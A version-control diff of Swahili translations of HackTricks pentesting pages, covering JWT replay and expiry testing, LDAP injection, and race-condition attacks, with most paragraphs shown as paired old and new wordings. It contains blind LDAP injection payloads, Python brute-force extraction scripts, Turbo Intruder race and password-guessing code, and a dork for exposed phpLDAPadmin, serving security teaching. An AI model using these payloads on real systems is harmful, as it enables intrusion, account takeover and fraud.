openssl rsa -in keypair.pem -pubout -out publickey.crt
@ -226,7 +227,7 @@ Hatimaye, kwa kutumia funguo za umma na binafsi na thamani mpya za "n" na "e" un
### JTI (JWT ID)
Madai ya JTI (JWT ID) hutoa kitambulisho cha kipekee kwa Token ya JWT. Inaweza kutumika kuzuia token kutumika tena.\
Hata hivyo, fikiria hali ambapo urefu wa maksimum wa kitambulisho ni 4 (0001-9999). Ombi 0001 na 10001 vitatumia kitambulisho kimoja. Kwa hivyo, ikiwa seva ya nyuma inaongeza kitambulisho kwa kila ombi unaweza kutumia hili kwa **kutuma ombi mara mbili** (ukihitaji kutuma ombi 10000 kati ya kila ombi la kutuma tena kufanikiwa).
Hata hivyo, fikiria hali ambapo urefu wa maksimumu wa kitambulisho ni 4 (0001-9999). Ombi 0001 na 10001 vitatumia kitambulisho kimoja. Kwa hivyo, ikiwa seva ya nyuma inaongeza kitambulisho kwa kila ombi unaweza kutumia hili kwa **kutuma ombi mara mbili** (ukihitaji kutuma ombi 10000 kati ya kila kutuma ombi la mafanikio).
### Madai Yaliyosajiliwa ya JWT
@ -236,13 +237,13 @@ Hata hivyo, fikiria hali ambapo urefu wa maksimum wa kitambulisho ni 4 (0001-999
**Mashambulizi ya Kurejesha Kati ya Huduma**
Imeonekana kwamba baadhi ya programu za wavuti hutegemea huduma ya JWT iliyoaminika kwa uundaji na usimamizi wa vibali vyao. Kuna visa ambapo kibali, kilichoundwa kwa mteja mmoja na huduma ya JWT, kilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upyaishaji wa JWT kupitia huduma ya mtu wa tatu unashuhudiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kurejesha kibali kilichopatikana katika ombi kwa lengo la kuona ikiwa kitakubaliwa.
Imeonekana kwamba baadhi ya programu za wavuti hutegemea huduma ya JWT iliyoaminika kwa uundaji na usimamizi wa vibali vyao. Kuna visa ambapo kibali, kilichoundwa kwa mteja mmoja na huduma ya JWT, kilikubaliwa na mteja mwingine wa huduma hiyo hiyo ya JWT. Ikiwa utoaji au upya wa JWT kupitia huduma ya mtu wa tatu unazingatiwa, uwezekano wa kujiandikisha kwa akaunti kwenye mteja mwingine wa huduma hiyo kwa kutumia jina la mtumiaji/barua pepe sawa unapaswa kuchunguzwa. Jaribio linapaswa kufanywa kurejesha kibali kilichopatikana katika ombi kwa lengo la kuona ikiwa kitakubaliwa.
* Shida kuu inaweza kuonyeshwa na kukubaliwa kwa kibali chako, ikiruhusu uigaji wa akaunti yoyote ya mtumiaji. Hata hivyo, inapaswa kuzingatiwa kwamba idhini ya majaribio zaidi inaweza kuhitajika ikiwa kujiandikisha kwenye programu ya mtu wa tatu, kwani hii inaweza kuingia eneo la kisheria lisilo wazi.
**Uchunguzi wa Muda wa Vibali**
Uchunguzi wa muda wa kibali unafanywa kwa kutumia madai ya Payload ya "exp". Kwa kuwa JWT mara nyingi hutumiwa bila habari ya kikao, kushughulikia kwa uangalifu kunahitajika. Katika hali nyingi, kukamata na kurudia kibali cha mtumiaji mwingine wa JWT kunaweza kuwezesha uigaji wa mtumiaji huyo. RFC ya JWT inapendekeza kupunguza mashambulizi ya kurudia JWT kwa kutumia madai ya "exp" kuweka muda wa kumalizika kwa kibali. Zaidi ya hayo, utekelezaji wa ukaguzi unaofaa na maombi kuhakikisha usindikaji wa thamani hii na kukataa vibali vilivyomalizika ni muhimu. Ikiwa kibali kina madai ya "exp" na muda wa majaribio unaruhusu, kuhifadhi kibali na kurudia baada ya muda wa kumalizika ni ushauriwa. Yaliyomo ya kibali, ikiwa ni pamoja na uchambuzi wa alama za muda na ukaguzi wa muda wa kumalizika (alama za muda katika UTC), yanaweza kusomwa kwa kutumia bendera ya -R ya jwt\_tool.
Muda wa kumalizika wa kibali unachunguzwa kwa kutumia madai ya Payload ya "exp". Kwa kuwa JWT mara nyingi hutumiwa bila habari ya kikao, utunzaji wa uangalifu unahitajika. Katika visa vingi, kukamata na kurudia kibali cha mtumiaji mwingine wa JWT kunaweza kuwezesha uigaji wa mtumiaji huyo. RFC ya JWT inapendekeza kupunguza mashambulizi ya kurejea ya JWT kwa kutumia madai ya "exp" kuweka muda wa kumalizika kwa kibali. Zaidi ya hayo, utekelezaji wa uchunguzi unaofaa na maombi kuhakikisha usindikaji wa thamani hii na kukataa vibali vilivyomalizika ni muhimu. Ikiwa kibali kina madai ya "exp" na mipaka ya muda wa majaribio inaruhusu, kuhifadhi kibali na kurudia baada ya muda wa kumalizika kunashauriwa. Yaliyomo ya kibali, ikiwa ni pamoja na uchambuzi wa alama za wakati na uchunguzi wa kumalizika (alama za wakati katika UTC), yanaweza kusomwa kwa kutumia bendera ya -R ya jwt_tool.
* Hatari ya usalama inaweza kuwepo ikiwa programu bado inathibitisha kibali, kwani inaweza kupendekeza kwamba kibali hakitaweza kumalizika.
@ -250,9 +251,9 @@ Uchunguzi wa muda wa kibali unafanywa kwa kutumia madai ya Payload ya "exp". Kwa
{% embed url="https://github.com/ticarpi/jwt_tool" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunakupa kazi!** (_uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha unahitajika_).
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunahitaji wewe!** (_ujuzi wa Kipolishi wa kuandika na kuzungumza unahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -4,21 +4,21 @@
<details>
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Jifunze kuhusu kuingiza AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**swagi rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa kipekee wa [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Shiriki mbinu zako za kuingiza kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
</details>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia ya **kazi ya kuhack** na kuhack mambo ambayo hayawezi kuhack - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).
Ikiwa una nia ya **kazi ya kuingiza** na kuingiza yasiyoweza kuingizwa - **tunakupa kazi!** (_uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha unahitajika_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -26,13 +26,13 @@ Ikiwa una nia ya **kazi ya kuhack** na kuhack mambo ambayo hayawezi kuhack - **t
### **LDAP**
**Ikiwa unataka kujua ni nini LDAP tembelea ukurasa ufuatao:**
**Ikiwa unataka kujua ni nini LDAP, tembelea ukurasa ufuatao:**
{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
{% endcontent-ref %}
**Kuingiza LDAP** ni shambulio linalolenga programu za wavuti ambazo hujenga taarifa za LDAP kutoka kwa mwingiliano wa mtumiaji. Hutokea wakati programu **haifanyi usafi ipasavyo** wa mwingiliano, kuruhusu wachomaji wa **kudhibiti taarifa za LDAP** kupitia mtoa huduma wa ndani, ikisababisha ufikiaji usioruhusiwa au upangilio wa data.
**Kuingiza LDAP** ni shambulio linalolenga programu za wavuti ambazo hujenga taarifa za LDAP kutoka kwa mwingiliano wa mtumiaji. Hutokea wakati programu **haifanyi usafi ipasavyo** wa mwingiliano, kuruhusu wachomaji wa **kudhibiti taarifa za LDAP** kupitia mwendeshaji wa ndani, ikisababisha ufikiaji usioruhusiwa au upangaji wa data.
{% file src="../.gitbook/assets/en-blackhat-europe-2008-ldap-injection-blind-ldap-injection.pdf" %}
@ -42,13 +42,13 @@ Ikiwa una nia ya **kazi ya kuhack** na kuhack mambo ambayo hayawezi kuhack - **t
**Au** = |filterlist\
**Si** = ! filter\
**Filterlist** = 1\*filter\
**Kitu**= rahisi / kutokea / kipande\
**Rahisi** = sifa filtertype kauliavali\
**Kitu**= rahisi / kujitokeza / kipande\
**Rahisi** = sifa filtertype kauli\
**Filtertype** = _'=' / '\~=' / '>=' / '<='_\
**Kutokea** = sifa = \*\
**Kujitokeza** = sifa = \*\
**Kipande** = sifa ”=” \[mwanzo] \* \[mwisho]\
**Mwanzo** = kauliavali\
**Mwisho** = kauliavali\
**Mwanzo** = kauli\
**Mwisho** = kauli\
**(&)** = Halisi KWELI\
**(|)** = Halisi UONGO
@ -56,10 +56,10 @@ Kwa mfano:\
`(&(!(objectClass=Impresoras))(uid=s*))`\
`(&(objectClass=user)(uid=*))`
Unaweza kupata ufikiaji kwenye database, na hii inaweza kuwa na taarifa za aina nyingi tofauti.
Unaweza kupata ufikiaji kwenye database, na hii inaweza kuwa na habari ya aina nyingi tofauti.
**OpenLDAP**: Ikiwa filamu 2 zinawasili, inatekeleza tu ya kwanza.\
**ADAM au Microsoft LDS**: Pamoja na filamu 2 hutoa kosa.\
**ADAM au Microsoft LDS**: Pamoja na filamu 2 wanatoa kosa.\
**SunOne Directory Server 5.0**: Inatekeleza filamu zote mbili.
**Ni muhimu sana kutuma kichujio na muundo sahihi au kosa litatupwa. Ni bora kutuma kichujio kimoja tu.**
@ -135,9 +135,9 @@ password=any
* [Vipengele vya LDAP](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
* [Vipengele vya LDAP PosixAccount](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
### Kuingiza LDAP ya Kipofu
### Kuingiza kipofu cha LDAP
Unaweza kulazimisha majibu ya Uongo au Kweli kuchunguza ikiwa kuna data inayorudi na kuthibitisha uwezekano wa Kuingiza LDAP ya Kipofu:
Unaweza kulazimisha majibu ya Uongo au Kweli kuchunguza ikiwa data yoyote inarudi na kuthibitisha uwezekano wa Kuingiza kipofu cha LDAP:
```bash
#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
@ -166,7 +166,7 @@ Unaweza kurudia herufi za ascii, tarakimu na alama:
#### **Gundua mashamba sahihi ya LDAP**
Vitu vya LDAP **kwa kawaida vina sifa kadhaa** ambazo zinaweza kutumika **kutunza habari**. Unaweza kujaribu **kufanya nguvu zote kuzitoa habari hizo.** Unaweza kupata orodha ya [**sifa za LDAP za msingi hapa**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
Vitu vya LDAP **vina sifa kadhaa kwa chaguo-msingi** ambazo zinaweza kutumika **kutunza habari**. Unaweza kujaribu **kufanya nguvu zote kuzitoa habari hizo.** Unaweza kupata orodha ya [**sifa za LDAP za chaguo-msingi hapa**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt).
```python
#!/usr/bin/python3
import requests
@ -198,7 +198,7 @@ if char == alphabet[-1]: #If last of all the chars, then, no more chars in the v
finish = True
print()
```
#### **Mashambulizi Maalum ya LDAP ya Kipofu (bila "\*")**
#### **Mbinu Maalum ya Kuingiza LDAP kwa Kipofu (bila "\*")**
```python
#!/usr/bin/python3
@ -221,13 +221,13 @@ break
```bash
intitle:"phpLDAPadmin" inurl:cmd.php
```
### Payloads Zaidi
### Paylodi Zaidi
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa una nia katika **kazi ya udukuzi** na kudukua yasiyodukuzika - **tunakupa kazi!** (_ujuzi wa Kipolishi wa kuandika na kusema unahitajika_).
Ikiwa una nia ya **kazi ya udukuzi** na kudukua yasiyoweza kudukuliwa - **tunakupa kazi!** (_inahitajika uwezo wa kuandika na kuzungumza Kipolishi kwa ufasaha_).
{% embed url="https://www.stmcyber.com/careers" %}

View file

@ -3,7 +3,7 @@
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia taratibu za kiotomatiki** zinazotumia zana za jamii ya **kisasa zaidi** duniani.\
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia mifumo ya kazi** kwa urahisi inayotumia zana za jamii za **juu kabisa** duniani.\
Pata Ufikiaji Leo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -14,67 +14,67 @@ Pata Ufikiaji Leo:
Njia nyingine za kusaidia HackTricks:
* Ikiwa unataka kuona **kampuni yako inatangazwa katika HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% hint style="warning" %}
Ili kupata ufahamu wa kina wa mbinu hii, angalia ripoti asili katika [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
Ili kupata uelewa wa kina wa mbinu hii, angalia ripoti ya asili kwenye [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
{% endhint %}
## Kuboresha Mashambulizi ya Hali ya Mashindano
Kizuizi kikuu katika kutumia hali ya mashindano ni kuhakikisha kuwa maombi mengi yanashughulikiwa wakati huo huo, na **tofauti kidogo katika wakati wa usindikaji wao - kimsingi, chini ya 1ms**.
Kizuizi kikuu katika kutumia mashindano ya hali ni kuhakikisha kuwa maombi mengi yanashughulikiwa wakati huo huo, na **tofauti ndogo sana katika nyakati zao za usindikaji—bora, chini ya 1ms**.
Hapa unaweza kupata baadhi ya mbinu za Kusawazisha Maombi:
#### Shambulio la Pakiti Moja ya HTTP/2 dhidi ya Ufanisi wa Mwisho wa Byte ya HTTP/1.1
#### Shambulio la Pakiti Moja ya HTTP/2 dhidi ya Synchronization ya Byte ya Mwisho ya HTTP/1.1
- **HTTP/2**: Inasaidia kutuma maombi mawili kupitia muunganisho mmoja wa TCP, kupunguza athari ya kutetemeka kwa mtandao. Walakini, kutokana na tofauti za upande wa seva, maombi mawili hayatoshi kwa shambulio la hali ya mashindano linaloweza kudumu.
- **'Mwisho wa Byte wa HTTP/1.1'**: Inawezesha kutuma sehemu kubwa ya maombi 20-30, ikizuia kipande kidogo, ambacho kisha hutumwa pamoja, kufikia kuwasili kwa wakati mmoja kwenye seva.
* **HTTP/2**: Inasaidia kutuma maombi mawili kupitia muunganisho mmoja wa TCP, kupunguza athari ya mtikisiko wa mtandao. Walakini, kutokana na tofauti za upande wa seva, maombi mawili hayatoshi kwa kudukua mashindano kwa kawaida.
* **HTTP/1.1 'Last-Byte Sync'**: Inawezesha kutuma sehemu kubwa ya maombi 20-30 mapema, ikizuia kipande kidogo, ambacho kisha hutumwa pamoja, kufikia kuwasili kwa wakati mmoja kwenye seva.
**Maandalizi ya Mwisho wa Byte wa Hali ya Mashindano** yanajumuisha:
1. Kutuma vichwa na data ya mwili bila byte ya mwisho bila kumaliza mtiririko.
2. Kusubiri kwa 100ms baada ya kutuma awali.
3. Kulemaza TCP_NODELAY ili kutumia algorithm ya Nagle kwa kubatilisha fremu za mwisho.
4. Kutuma ping ili kuamsha uhusiano.
**Maandalizi ya Last-Byte Sync** yanajumuisha:
Kutuma baadaye kwa fremu zilizofichwa inapaswa kusababisha kuwasili kwao kwenye pakiti moja, ambayo inaweza kuthibitishwa kupitia Wireshark. Mbinu hii haifai kwa faili za tuli, ambazo kawaida hazihusiani na mashambulizi ya hali ya mashindano.
1. Kutuma vichwa na data ya mwili bila byte ya mwisho bila kumaliza mto.
2. Kusimamisha kwa 100ms baada ya kutuma awali.
3. Kulemaza TCP\_NODELAY kutumia algorithm ya Nagle kwa kubatilisha fremu za mwisho.
4. Kutuma ping kwa kuchemsha muunganisho.
### Kuzoea Miundo ya Seva
Kutuma baadaye fremu zilizofichwa kunapaswa kusababisha kuwasili kwao kwenye pakiti moja, inayoweza kuthibitishwa kupitia Wireshark. Mbinu hii haitumiki kwa faili za tuli, ambazo kawaida hazihusiani na mashambulizi ya RC.
Kuelewa miundo ya lengo ni muhimu. Seva za mbele zinaweza kuongoza maombi kwa njia tofauti, zikibadilisha wakati. Kupasha joto uhusiano upande wa seva mapema, kupitia maombi yasiyo na maana, kunaweza kawaidaisha wakati wa maombi.
### Kuzoea Mimarizi ya Seva
#### Kushughulikia Kufunga kwa Msingi wa Kikao
Kuelewa muundo wa lengo ni muhimu. Seva za mbele zinaweza kupeleka maombi kwa njia tofauti, zikiathiri wakati. Kuchemsha mapema upande wa seva, kupitia maombi yasiyo na maana, kunaweza kawaidaisha wakati wa maombi.
Mifumo kama kushughulikia kikao cha PHP inasindika maombi kwa kikao, ikificha hatari. Kutumia vitambulisho tofauti vya kikao kwa kila ombi kunaweza kuepuka shida hii.
#### Kukabiliana na Kufunga kwa Msingi wa Kikao
#### Kushinda Vizuizi vya Kiwango au Rasilmali
Mifumo kama kushughulikia kikao cha PHP huweka maombi kwa kikao, ikificha mara nyingi udhaifu. Kutumia alama tofauti za kikao kwa kila ombi kunaweza kuzuia suala hili.
Ikiwa kuwasha uhusiano hakufanikiwi, kusababisha kucheleweshwa kwa kiwango au kikomo cha rasilmali cha seva za wavuti kwa makusudi kupitia mfululizo wa maombi bandia kunaweza kurahisisha shambulio la pakiti moja kwa kusababisha kucheleweshwa kwa upande wa seva kwa hali ya mashindano.
#### Kupita Kikwazo cha Kiwango au Rasilimali
Ikiwa kuchemsha muunganisho hakufanikiwa, kusababisha kwa makusudi kucheleweshwa kwa kiwango au rasilimali za seva za wavuti kwa kupitia mafuriko ya maombi bandia kunaweza kurahisisha shambulio la pakiti moja kwa kusababisha kucheleweshwa upande wa seva yanayofaa mashindano.
## Mifano ya Mashambulizi
* **Tubo Intruder - Shambulio la pakiti moja ya HTTP2 (1 kifaa)**: Unaweza kutuma ombi kwa **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), unaweza kubadilisha thamani unayotaka kudhani kwa **`%s`** kama katika `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` na kisha chagua **`examples/race-single-packer-attack.py`** kutoka kwenye orodha ya kushuka:
* **Tubo Intruder - shambulio la pakiti moja la HTTP2 (kituo 1)**: Unaweza kutuma ombi kwa **Tubo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), unaweza kubadilisha katika ombi thamani unayotaka kudungua kwa **`%s`** kama katika `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` na kisha chagua **`examples/race-single-packer-attack.py`** kutoka kwenye menyu ya kunjua:
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ikiwa unataka **kutuma thamani tofauti**, unaweza kubadilisha nambari na hii ambayo inatumia orodha ya maneno kutoka kwenye ubao wa kunakili:
Ikiwa unakwenda kutuma **thamani tofauti**, unaweza kubadilisha nambari na hii inayotumia orodha ya maneno kutoka kwa ubao wa kunakili:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
{% hint style="warning" %}
Ikiwa wavuti haiungi mkono HTTP2 (tu HTTP1.1), tumia `Engine.THREADED` au `Engine.BURP` badala ya `Engine.BURP2`.
Ikiwa wavuti haiungi mkono HTTP2 (tu HTTP1.1) tumia `Engine.THREADED` au `Engine.BURP` badala ya `Engine.BURP2`.
{% endhint %}
* **Tubo Intruder - Shambulio la pakiti moja ya HTTP2 (Vipengele kadhaa)**: Ikiwa unahitaji kutuma ombi kwa kipengele 1 na kisha vingine vingi kwa vipengele vingine ili kusababisha RCE, unaweza kubadilisha hati ya `race-single-packet-attack.py` na kitu kama hiki:
* **Tubo Intruder - Shambulio la kifurushi kimoja cha HTTP2 (Vipengele kadhaa)**: Ikiwa unahitaji kutuma ombi kwa kipengee 1 na kisha vingine vingi kwa vipengee vingine kusababisha RCE, unaweza kubadilisha hati ya `race-single-packet-attack.py` na kitu kama:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -106,20 +106,19 @@ engine.queue(confirmationReq, gate=currentAttempt)
engine.openGate(currentAttempt)
```
* Pia inapatikana katika **Repeater** kupitia chaguo jipya la '**Tuma kikundi kwa pamoja**' katika Burp Suite.
* Kwa **kuzidi kikomo**, unaweza tu kuongeza **ombi moja sawa mara 50** katika kikundi.
* Kwa **kuwasha uhusiano**, unaweza **kuongeza** mwanzoni mwa **kikundi** baadhi ya **ombi** kwa sehemu isiyo ya kudumu ya seva ya wavuti.
* Kwa **kuchelewesha** mchakato **kati ya** kusindika **ombi moja na nyingine** katika hatua 2 za substates, unaweza **kuongeza ombi za ziada kati ya** ombi zote mbili.
* Kwa RC ya **multi-endpoint** unaweza kuanza kutuma **ombi** ambalo **linakwenda kwenye hali iliyofichwa** na kisha **ombi 50** mara baada yake ambazo **zinatumia hali iliyofichwa**.
* Kwa **kuzidi kikomo**, unaweza tu kuongeza **ombi moja mara 50** katika kikundi.
* Kwa **kuwasha uhusiano**, unaweza **kuongeza** mwanzoni mwa **kikundi** baadhi ya **maombi** kwa sehemu isiyo ya kudumu ya seva ya wavuti.
* Kwa **kuchelewesha** mchakato **kati ya** kusindika **ombi moja na nyingine** katika hatua 2 za substates, unaweza **kuongeza maombi ya ziada kati ya** maombi hayo yote.
* Kwa RC ya **multi-endpoint** unaweza kuanza kutuma **ombi** linaloenda kwenye hali iliyofichwa na kisha **maombi 50** mara baada yake ambayo **yanatumia hali iliyofichwa**.
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Raw BF
Kabla ya utafiti uliopita, haya yalikuwa baadhi ya malipo yaliyotumiwa ambayo yalijaribu tu kutuma pakiti haraka iwezekanavyo ili kusababisha RC.
Kabla ya utafiti uliopita hizi zilikuwa baadhi ya mizigo iliyotumiwa ambayo ilijaribu tu kutuma pakiti haraka iwezekanavyo kusababisha RC.
* **Repeater:** Angalia mifano kutoka sehemu iliyopita.
* **Intruder**: Tuma **ombi** kwa **Intruder**, weka **idadi ya nyuzi** kuwa **30** ndani ya menyu ya **Chaguo** na, chagua malipo ya **Null** na uzalishe **30**.
* **Turbo Intruder**
* **Repeater:** Angalia mifano kutoka kwenye sehemu iliyopita.
* **Intruder**: Tuma **ombi** kwa **Intruder**, weka **idadi ya nyuzi** kuwa **30** ndani ya menyu ya **Chaguo na,** chagua mizigo ya **Null payloads** na zengua **30.**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@ -166,76 +165,75 @@ print(results)
asyncio.run(main())
```
## **Njia ya RC**
## **Mbinu ya RC**
### Kikomo-kuzidi / TOCTOU
Hii ni aina ya msingi kabisa ya hali ya mbio ambapo **udhaifu** unaonekana katika maeneo ambayo **yanazuia idadi ya mara unaweza kufanya kitendo**. Kama kutumia kodi ile ile ya punguzo katika duka la mtandao mara kadhaa. Mfano rahisi sana unaweza kupatikana katika [**ripoti hii**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) au katika [**mdudu huu**](https://hackerone.com/reports/759247)**.**
Hii ni aina ya msingi kabisa ya hali ya mbio ambapo **udhaifu** unaonekana mahali ambapo **kuna kikomo cha mara ngapi unaweza kufanya kitendo**. Kama kutumia nambari ile ile ya punguzo katika duka la mtandao mara kadhaa. Mfano rahisi sana unaweza kupatikana katika [**ripoti hii**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) au katika [**kosa hili**](https://hackerone.com/reports/759247)**.**
Kuna mabadiliko mengi ya aina hii ya shambulio, ikiwa ni pamoja na:
* Kumaliza kadi ya zawadi mara kadhaa
* Kudai kadi ya zawadi mara kadhaa
* Kupima bidhaa mara kadhaa
* Kutoa au kuhamisha pesa zaidi ya salio lako la akaunti
* Kutumia suluhisho moja la CAPTCHA mara kadhaa
* Kutumia suluhisho moja la CAPTCHA mara nyingi
* Kupita kikomo cha kiwango cha nguvu ya brute
### **Hali zisizoonekana**
### **Hali za siri**
Kuathiri hali ngumu za mbio mara nyingi kunahusisha kutumia fursa fupi za kuingiliana na hali zisizoonekana au **zisizokusudiwa za mashine**. Hapa ni jinsi ya kukabiliana na hili:
1. **Tambua Hali Zisizoonekana za Siri**
- Anza kwa kubainisha sehemu za mwisho ambazo zinabadilisha au kuingiliana na data muhimu, kama vile maelezo ya mtumiaji au mchakato wa kurejesha nywila. Jikite katika:
- **Uhifadhi**: Chagua sehemu za mwisho ambazo zinashughulikia data ya kudumu upande wa seva kuliko zile zinazoshughulikia data upande wa mteja.
- **Kitendo**: Tafuta shughuli ambazo zinabadilisha data iliyopo, ambazo zina uwezekano mkubwa wa kuunda hali zinazoweza kudukuliwa ikilinganishwa na zile zinazozidisha data mpya.
- **Ufunguo**: Mashambulizi mafanikio kawaida yanahusisha shughuli zinazotegemea kitambulisho kimoja, kama vile jina la mtumiaji au ishara ya kurejesha.
Kuendeleza hali ngumu za mbio mara nyingi kunahusisha kutumia fursa fupi za kuingiliana na hali za siri au **hali ndogo za mashine zisizotarajiwa**. Hivi ndivyo unavyoweza kukaribia hili:
1. **Tambua Hali za Siri Zinazowezekana**
